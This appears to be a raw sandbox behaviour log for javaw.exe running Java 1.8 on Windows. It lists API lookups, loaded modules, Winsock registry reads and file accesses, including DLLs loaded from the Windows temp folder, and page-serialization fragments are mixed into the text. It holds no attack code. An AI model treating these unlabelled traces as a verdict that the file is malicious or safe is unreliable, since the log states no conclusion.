Java_sun_awt_windows_WToolkit_setDynamicLayoutNative (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_awt_windows_WToolkit_setExtraMouseButtonsEnabledNative (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_java2d_d3d_D3DGraphicsDevice_initD3D (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter SendMessageW (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_awt_windows_WToolkit_eventLoop (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter WaitMessage (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter PeekMessageW (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter CoInitialize (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter EnumDisplayDevicesW (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Direct3DCreate9 (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter OpenAdapter (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter CreateGameConfigStoreClient (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter FreeGameConfigStoreClient (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter D3DKMTCloseAdapter (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter D3DKMTEnumAdapters2 (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter D3DKMTQueryAdapterInfo (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter RtlRegisterFeatureConfigurationChangeNotification (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter RtlDisownModuleHeapAllocation (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter RtlQueryFeatureConfiguration (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter RtlDllShutdownInProgress (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter LogStagedFeatureUsage (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter CallNextHookEx (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter TranslateMessage (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter DispatchMessageW (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_java2d_d3d_D3DRenderQueue_flushBuffer (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_java2d_d3d_D3DGraphicsDevice_getDeviceCapsNative (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_java2d_d3d_D3DGraphicsDevice_getDeviceIdNative (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_awt_Win32GraphicsDevice_initDevice (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_awt_Win32GraphicsEnvironment_getDefaultScreen (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_awt_Win32GraphicsConfig_initIDs (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_awt_Win32GraphicsConfig_getBounds (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_awt_Rectangle_initIDs (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_awt_windows_WToolkit_getScreenInsets (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter SystemParametersInfoW (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_awt_KeyboardFocusManager_initIDs (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_awt_windows_WDesktopProperties_initIDs (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_awt_windows_WDesktopProperties_init (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_awt_windows_WDesktopProperties_getWindowsParameters (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter GetSysColor (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_awt_Color_initIDs (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter SHGetSettings (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter GetStockObject (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter SelectObject (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter GetTextFaceW (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter GetTextMetricsW (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_awt_Dimension_initIDs (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_awt_event_KeyEvent_initIDs (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_awt_windows_WPanelPeer_initIDs (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_awt_windows_WWindowPeer_initIDs (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_awt_windows_WFramePeer_initIDs (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_awt_windows_WFramePeer_createAwtFrame (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter MapVirtualKeyW (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter ToUnicodeEx (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter SetRectEmpty (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter GetClassInfoExW (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter LoadImageW (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter RegisterClassExW (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter ImmAssociateContext (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter SetPropW (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter SetWindowLongPtrW (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter SetWindowPos (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter CallWindowProcW (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter GetWindowLongPtrW (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter GetParent (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter GetWindowRect (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter IsWindow (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessId (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_java2d_windows_GDIWindowSurfaceData_initIDs (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_java2d_loops_GraphicsPrimitiveMgr_initIDs (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_java2d_loops_GraphicsPrimitiveMgr_registerNativeLoops (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_awt_Win32GraphicsDevice_makeColorModel (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_java2d_windows_GDIWindowSurfaceData_initOps (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter CopyRect (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_awt_windows_WCanvasPeer_setNativeBackgroundErase (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_awt_windows_WWindowPeer_reshapeFrame (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter SetRect (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_java2d_windows_GDIWindowSurfaceData_invalidateSD (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_awt_windows_WColor_getDefaultColor (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_awt_windows_WComponentPeer__1setBackground (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter MonitorFromWindow (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter EqualRect (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter InvalidateRect (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_awt_windows_WComponentPeer__1setForeground (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_awt_windows_WWindowPeer_updateInsets (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter IsIconic (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter GetClientRect (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter MapWindowPoints (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_awt_windows_WComponentPeer__1setFont (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_awt_PlatformFont_initIDs (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_awt_windows_WFontPeer_initIDs (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter _JNI_OnLoad_fontmanager@8 (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter JNI_OnLoad_fontmanager (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_font_SunFontManager_initIDs (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_font_StrikeCache_getGlyphCacheDescription (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_awt_Win32FontManager_getEUDCFontFile (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_io_WinNTFileSystem_checkAccess (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_awt_Win32FontManager_getFontPath (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_awt_FontDescriptor_initIDs (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter CreateFontIndirectW (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_awt_windows_WWindowPeer_setIconImagesData (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter GetWindow (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter EnumThreadWindows (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_awt_windows_WWindowPeer__1setTitle (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter SetWindowTextW (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_awt_windows_WWindowPeer__1setResizable (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter GetWindowLongW (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter SetWindowLongW (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_awt_windows_WFramePeer_setState (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter IsWindowVisible (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_awt_windows_WComponentPeer_start (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter InvalidateRgn (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter UpdateWindow (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_awt_windows_WFramePeer_clearMaximizedBounds (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_awt_windows_WWindowPeer_createAwtWindow (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_awt_windows_WComponentPeer_reshape (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter GetPropW (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter ImmGetContext (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_java2d_d3d_D3DSurfaceData_initOps (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_awt_windows_WComponentPeer_beginValidate (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter BeginDeferWindowPos (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_awt_windows_WComponentPeer_endValidate (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter EndDeferWindowPos (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_awt_windows_WComponentPeer_nativeHandleEvent (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_awt_SunToolkit_closeSplashScreen (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_awt_Dialog_initIDs (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_awt_windows_WWindowPeer_setFocusableWindow (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_awt_windows_WWindowPeer_getScreenImOn (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_awt_windows_WComponentPeer_pShow (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter ShowWindow (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter GetUpdateRect (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter CreateRectRgn (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_awt_windows_WWindowPeer_setMinSize (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter GetUpdateRgn (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter ValidateRgn (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter OffsetRgn (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter GetRegionData (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_awt_windows_WWindowPeer_setAlwaysOnTopNative (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_awt_windows_WGlobalCursorManager_findHeavyweightUnderCursor (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter GetCursorPos (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter WindowFromPoint (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter GetCapture (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter SymSetOptions (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter SymInitialize (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter SymGetSymFromAddr64 (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter UnDecorateSymbolName (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter StackWalk64 (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter SymFunctionTableAccess64 (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter SymGetModuleBase64 (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter SymSetSearchPath (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter SymGetSearchPath (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter NtQueryWnfStateData (UID: 00000000-00000860)3b:Ta27,"javaw.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7fffa4c10000 "javaw.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7fffce0e0000 "javaw.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7fffce0e0000 "javaw.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7fffce0e0000 "javaw.exe" loaded module "KERNEL32" at base 7fffcf290000 "javaw.exe" loaded module "%PROGRAMFILES%\JAVA\JRE-1.8\BIN\VCRUNTIME140.DLL" at base 7fffb1a70000 "javaw.exe" loaded module "%PROGRAMFILES%\JAVA\JRE-1.8\BIN\VCRUNTIME140_1.DLL" at base 7fffba9a0000 "javaw.exe" loaded module "%PROGRAMFILES%\JAVA\JRE-1.8\BIN\MSVCP140.DLL" at base 7fffa65a0000 "javaw.exe" loaded module "%PROGRAMFILES%\JAVA\JRE-1.8\BIN\SERVER\JVM.DLL" at base 68c80000 "javaw.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 7fffccc20000 "javaw.exe" loaded module "%PROGRAMFILES%\JAVA\JRE-1.8\BIN\VERIFY.DLL" at base 7fffba840000 "javaw.exe" loaded module "%PROGRAMFILES%\JAVA\JRE-1.8\BIN\JAVA.DLL" at base 7fffaa510000 "javaw.exe" loaded module "%PROGRAMFILES%\JAVA\JRE-1.8\BIN\ZIP.DLL" at base 7fffa9270000 "javaw.exe" loaded module "SHELL32.DLL" at base 7fffcf620000 "javaw.exe" loaded module "NTDLL.DLL" at base 7fffd07b0000 "javaw.exe" loaded module "KERNELBASE" at base 7fffce0e0000 "javaw.exe" loaded module "USER32.DLL" at base 7fffcebb0000 "javaw.exe" loaded module "%PROGRAMFILES%\JAVA\JRE-1.8\BIN\AWT.DLL" at base 7fffa4a90000 "javaw.exe" loaded module "%WINDIR%\SYSTEM32\USER32.DLL" at base 7fffcebb0000 "javaw.exe" loaded module "GDI32.DLL" at base 7fffcead0000 "javaw.exe" loaded module "%WINDIR%\SYSTEM32\DWMAPI.DLL" at base 7fffcb610000 "javaw.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7fffcb200000 "javaw.exe" loaded module "%WINDIR%\SYSTEM32\OPENGL32.DLL" at base 7fffa3d40000 "javaw.exe" loaded module "COMCTL32.DLL" at base 7fffb83e0000 "javaw.exe" loaded module "OLE32.DLL" at base 206c38d0000 "javaw.exe" loaded module "SHLWAPI.DLL" at base 7fffce850000 "javaw.exe" loaded module "%WINDIR%\SYSTEM32\D3D9.DLL" at base 7fff9bd50000 "javaw.exe" loaded module "RPCRT4.DLL" at base 7fffcf420000 "javaw.exe" loaded module "D3D10WARP.DLL" at base 7fffc81f0000 "javaw.exe" loaded module "EXT-MS-WIN-CORE-RESOURCEPOLICY-L1-1-0.DLL" at base 7fffcb690000 "javaw.exe" loaded module "KERNEL32.DLL" at base 7fffcf290000 "javaw.exe" loaded module "IMM32.DLL" at base 7fffcf360000 "javaw.exe" loaded module "%PROGRAMFILES%\JAVA\JRE-1.8\BIN\FONTMANAGER.DLL" at base 7fffa3cf0000 "javaw.exe" loaded module "DBGHELP.DLL" at base 7fffc39c00003c:Tedf,"javaw.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: ""; Value: "") "javaw.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\APPID_CATALOG"; Key: ""; Value: "") "javaw.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\APPID_CATALOG\201BFFCE-07360A2A"; Key: ""; Value: "") "javaw.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\APPID_CATALOG\201BFFCE"; Key: ""; Value: "") "javaw.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: ""; Value: "") "javaw.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\0000000F"; Key: ""; Value: "") "javaw.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64"; Key: ""; Value: "") "javaw.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000001"; Key: ""; Value: "") "javaw.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000002"; Key: ""; Value: "") "javaw.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000003"; Key: ""; Value: "") "javaw.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000004"; Key: ""; Value: "") "javaw.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000005"; Key: ""; Value: "") "javaw.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000006"; Key: ""; Value: "") "javaw.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000007"; Key: ""; Value: "") "javaw.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000008"; Key: ""; Value: "") "javaw.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000009"; Key: ""; Value: "") "javaw.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000010"; Key: ""; Value: "") "javaw.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000011"; Key: ""; Value: "") "javaw.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000012"; Key: ""; Value: "") "javaw.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000013"; Key: ""; Value: "") "javaw.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000014"; Key: ""; Value: "") "javaw.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000015"; Key: ""; Value: "") "javaw.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000016"; Key: ""; Value: "") "javaw.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\NAMESPACE_CATALOG5"; Key: ""; Value: "")3d:T9a4,"javaw.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "javaw.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "") "javaw.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "") "javaw.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NEXT_CATALOG_ENTRY_ID"; Value: "") "javaw.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NUM_CATALOG_ENTRIES64"; Value: "") "javaw.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000001"; Key: "PACKEDCATALOGITEM"; Value: "") "javaw.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000002"; Key: "PACKEDCATALOGITEM"; Value: "") "javaw.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000003"; Key: "PACKEDCATALOGITEM"; Value: "") "javaw.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000004"; Key: "PACKEDCATALOGITEM"; Value: "") "javaw.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000005"; Key: "PACKEDCATALOGITEM"; Value: "") "javaw.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000006"; Key: "PACKEDCATALOGITEM"; Value: "") "javaw.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000007"; Key: "PACKEDCATALOGITEM"; Value: "") "javaw.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000008"; Key: "PACKEDCATALOGITEM"; Value: "") "javaw.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000009"; Key: "PACKEDCATALOGITEM"; Value: "")3e:T57d,"javaw.exe" trying to touch file "C:\Program Files\Java\jre-1.8\bin\javaw.exe.Local\" "javaw.exe" trying to touch file "C:\WINDOWS\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.22621.1635_none_270f70857386168e\COMCTL32.dll" "javaw.exe" trying to touch file "C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.22621.1635_none_270f70857386168e\comctl32.dll" "javaw.exe" trying to touch file "C:\WINDOWS\system32\IMM32.DLL" "javaw.exe" trying to touch file "C:\Windows\System32\imm32.dll" "javaw.exe" trying to touch file "C:\Windows\WindowsShell.Manifest" "javaw.exe" trying to touch file "C:\windows\temp\VxSSL64.dll" "javaw.exe" trying to touch file "C:\Program Files\Java\jre-1.8\bin\FLTLIB.DLL" "javaw.exe" trying to touch file "C:\WINDOWS\SYSTEM32\FLTLIB.DLL" "javaw.exe" trying to touch file "C:\Windows\System32\fltLib.dll" "javaw.exe" trying to touch file "C:\Program Files\Java\jre-1.8\bin\MSVCP140.dll" "javaw.exe" trying to touch file "C:\Program Files\Java\jre-1.8\bin\msvcp140.dll" "javaw.exe" trying to touch file "C:\Program Files\Java\jre-1.8\bin\VCRUNTIME140.dll" "javaw.exe" trying to touch file "C:\Program Files\Java\jre-1.8\bin\vcruntime140.dll" "javaw.exe" trying to touch file "C:\Program Files\Java\jre-1.8\bin\VCRUNTIME140_1.dll" "javaw.exe" trying to touch file "C:\Program Files\Java\jre-1.8\bin\vcruntime140_1.dll"3f:T98f,"javaw.exe" trying to access non-existent file "C:\Program Files\Java\jre-1.8\bin\javaw.exe.Local\" "javaw.exe" trying to access non-existent file "C:\.hotspotrc" "javaw.exe" trying to access non-existent file "C:\Program Files\Java\jre-1.8\lib\endorsed" "javaw.exe" trying to access non-existent file "C:\Users\COEc2pa\AppData\Local\Temp\hsperfdata_COEc2pa" "javaw.exe" trying to access non-existent file "C:\Program Files\Java\jre-1.8\classes" "javaw.exe" trying to access non-existent file "C:\.hotspot_compiler" "javaw.exe" trying to access non-existent file "C:\Users\%OSUSER%\.accessibility.properties" "javaw.exe" trying to access non-existent file "C:\Program Files\Java\jre-1.8\lib\fontconfig.11.properties" "javaw.exe" trying to access non-existent file "C:\Program Files\Java\jre-1.8\lib\fontconfig.11.bfc" "javaw.exe" trying to access non-existent file "C:\Program Files\Java\jre-1.8\lib\fontconfig.properties" 